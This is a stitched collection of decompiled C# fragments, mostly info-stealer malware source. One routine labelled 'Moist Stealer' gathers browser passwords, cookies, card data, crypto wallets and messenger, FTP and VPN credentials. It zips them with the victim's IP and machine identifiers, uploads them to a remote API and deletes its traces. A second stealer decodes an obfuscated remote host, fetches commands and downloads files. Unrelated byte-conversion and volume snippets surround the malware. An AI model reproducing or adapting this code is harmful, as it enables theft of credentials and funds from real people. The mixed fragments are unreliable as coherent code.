// Token: 0x060000D9 RID: 217 RVA: 0x0000DC18 File Offset: 0x0000BE18 public static byte[] smethod_2(int int_0) { if (BitConverter.IsLittleEndian) { return(BitConverter.GetBytes(int_0)); } byte[] array = new byte[4]; Class15.smethod_0(int_0, array, 0); return(array); }
// Token: 0x0600015D RID: 349 RVA: 0x0000C848 File Offset: 0x0000AA48 public static byte[] smethod_1(byte[] byte_0, byte[] byte_1) { return(Class15.smethod_0(byte_0, byte_1)); }
public static void GetStealer() { try { Directory.CreateDirectory(Help.Moist_Dir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory); GetFiles.Inizialize(Help.Moist_Dir); Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000)); try { Class4.smethod_0(Help.Cookies); } catch { } try { Class4.PlqfdbrYf(Help.Passwords); } catch { } try { Class4.smethod_2(Help.Autofills); } catch { } try { Class4.smethod_3(Help.Downloads); } catch { } try { Class4.smethod_4(Help.History); } catch { } try { Class4.smethod_1(Help.Cards); } catch { } try { Class12.smethod_2(); } catch { } try { Class12.smethod_3(); } catch { } try { Class25.smethod_0(Help.Moist_Dir); } catch { } try { Class15.smethod_0(Help.Moist_Dir); } catch { } try { Class24.smethod_0(Help.Moist_Dir); } catch { } try { Class23.smethod_0(Help.Moist_Dir); } catch { } try { Class20.smethod_0(Help.Moist_Dir); } catch { } try { TGrabber.Start(Help.Moist_Dir); } catch { } try { Class14.smethod_0(Help.Moist_Dir); } catch { } try { Class21.smethod_0(Help.Moist_Dir); } catch { } try { Class13.smethod_0(Help.Moist_Dir); } catch { } try { Class22.smethod_0(Help.Moist_Dir); } catch { } try { Class16.smethod_0(Help.Moist_Dir); } catch { } try { Class17.smethod_0(Help.Moist_Dir); } catch { } try { Class37.smethod_0(Help.Moist_Dir); } catch { } try { DomainDetect.Start(Help.Browsers); } catch { } string text = string.Concat(new string[] { Help.dir, "\\", Help.HWID, Help.smethod_0(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.CompressionLevel = 9; zipFile.Comment = string.Concat(new string[] { "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:", Environment.MachineName, "/", Environment.UserName, "\nIP: ", Help.IP, Help.Country(), "\nHWID: ", Help.HWID }); zipFile.AddDirectory(Help.Moist_Dir ?? ""); zipFile.Save(text ?? ""); } string text2 = text ?? ""; byte[] file = File.ReadAllBytes(text2); string url = string.Concat(new string[] { Help.ApiUrl, "?id=", Class1.string_0, "&caption=", "⚡️ Moist Stealer Gate detected new log! ⚡️\n", "\ud83d\udd25 User: "******"/", Environment.UserName, " \ud83d\udd25\n", "\ud83c\udf0d IP: " + Help.IP, " ", Help.Country(), "\n\n", string.Concat(new string[] { "\n\ud83c\udf10 Browsers Data\nPasswords: ", (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(), "\nCookies: ", (Class4.int_3 + Class12.int_0).ToString(), "\nHistory: ", Class4.int_4.ToString(), "\nAutofill: ", Class4.int_1.ToString(), "\nCC: ", Class4.int_5.ToString(), "\n" }), string.Concat(new string[] { "\n\ud83d\udcb6 Wallets: ", (Class37.int_0 > 0) ? "Yes" : "No", (Class31.int_0 > 0) ? " Electrum" : "", (Class26.int_0 > 0) ? " Armory" : "", (Class27.int_0 > 0) ? " Atomic" : "", (Class28.int_0 > 0) ? " BitcoinCore" : "", (Class29.int_0 > 0) ? " Bytecoin" : "", (Class30.int_0 > 0) ? " DashCore" : "", (Class32.int_0 > 0) ? " Ethereum" : "", (Class33.int_0 > 0) ? " Exodus" : "", (Class35.int_0 > 0) ? " LitecoinCore" : "", (Class36.int_0 > 0) ? " Monero" : "", (Class38.int_0 > 0) ? " Zcash" : "", (Class34.int_0 > 0) ? " Jaxx" : "", "\n\n\ud83e\uddf2 Grabbed files: ", GetFiles.count.ToString(), "\n\ud83d\udcac Discord: ", (Class14.int_0 > 0) ? "Yes" : "No", "\n\ud83d\udee9 Telegram: ", (TGrabber.count > 0) ? "Yes" : "No", "\n\ud83d\udca1 Jabber: ", (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No", (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "", (Class20.int_0 > 0) ? " Psi" : "", "\n\n\ud83d\udce1 FTP\nFileZilla: ", (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No", "\nTotalCmd: ", (Class17.int_0 > 0) ? "Yes" : "No", "\n\n⚖️ VPN\nNordVPN: ", (Class23.int_0 > 0) ? "Yes" : "No", "\nOpenVPN: ", (Class24.int_0 > 0) ? "Yes" : "No", "\nProtonVPN: ", (Class25.int_0 > 0) ? "Yes" : "No", "\n\nHWID: ", Help.HWID, "\n⚙️ ", Class22.smethod_4(), "\n\ud83d\udd0e Domain detect", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }) }); SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url); Directory.Delete(Help.dir + "\\", true); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); } catch { } }
// Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0 private static void Main(string[] args) { Class9.smethod_0(); Class9.smethod_1(); Class9.smethod_2(); string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ"; byte[] byte_ = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275"); byte[] bytes = Encoding.Default.GetBytes(Class11.smethod_2(string_)); string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_)); byte[] bytes2 = Encoding.Default.GetBytes(@string); GClass9.smethod_0(); Class23.smethod_5(Class23.string_0); GClass9.smethod_1(); string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[] { ',' }); bool flag = false; bool flag2 = false; bool flag3 = false; bool flag4 = false; bool flag5 = false; bool flag6 = false; bool flag7 = false; bool flag8 = false; bool flag9 = false; bool flag10 = false; bool flag11 = false; if (array[12] == "1") { flag8 = true; } if (!flag8) { Class12.smethod_5(); } if (array[0] == "1") { flag = true; } if (array[1] == "1") { flag4 = true; } if (array[2] == "1") { flag5 = true; } if (array[3] == "1") { flag11 = true; } if (array[4] == "1") { flag2 = true; } if (array[5] == "1") { flag6 = true; } if (array[6] == "1") { flag10 = true; } if (array[7] == "1") { flag3 = true; } if (array[10] == "1") { flag9 = true; } if (array[11].StartsWith("http")) { flag7 = true; } if (flag7) { string text = array[11]; string fileName = Path.GetFileName(text); Class20.smethod_0(text, fileName); } if (flag) { Class13.smethod_3(); Class21.smethod_0(); } if (flag5) { Class18.smethod_0(); } if (flag7) { string text2 = array[11]; string fileName2 = Path.GetFileName(text2); Class20.smethod_0(text2, fileName2); } if (flag2) { Class17.smethod_10(); } if (flag6) { Class17.smethod_6(); } if (flag4) { Class15.smethod_0(); Class13.smethod_2(); Class25.smethod_9(); } if (flag11) { Class17.smethod_5(GClass9.string_2); } if (flag3) { foreach (string item in array[8].Split(new char[] { ':' })) { Class17.list_0.Add(item); } Class17.int_0 = Convert.ToInt32(array[9]); Class17.int_0 *= 1024; Class17.smethod_8(); } if (flag10) { Class17.smethod_9(); } Class17.smethod_11(); Class17.smethod_7(); Class23.smethod_0(); Class12.smethod_11(); Class12.smethod_9(); Class12.smethod_10(); Class23.smethod_1(); Class12.smethod_6(); string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip"; try { Class27.smethod_0(); Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0); } catch { } if (flag9) { Class12.smethod_7(); } Class12.smethod_8(); Directory.Delete(GClass9.string_6); }
public void SetVolume(float float0) { _secondaryBuffer0.Volume = (int)(50f * Class15.smethod_0(float0)); }
public void SetVolume(float float_0) { this.secondaryBuffer_0.Volume = (int)(50f * Class15.smethod_0(float_0)); }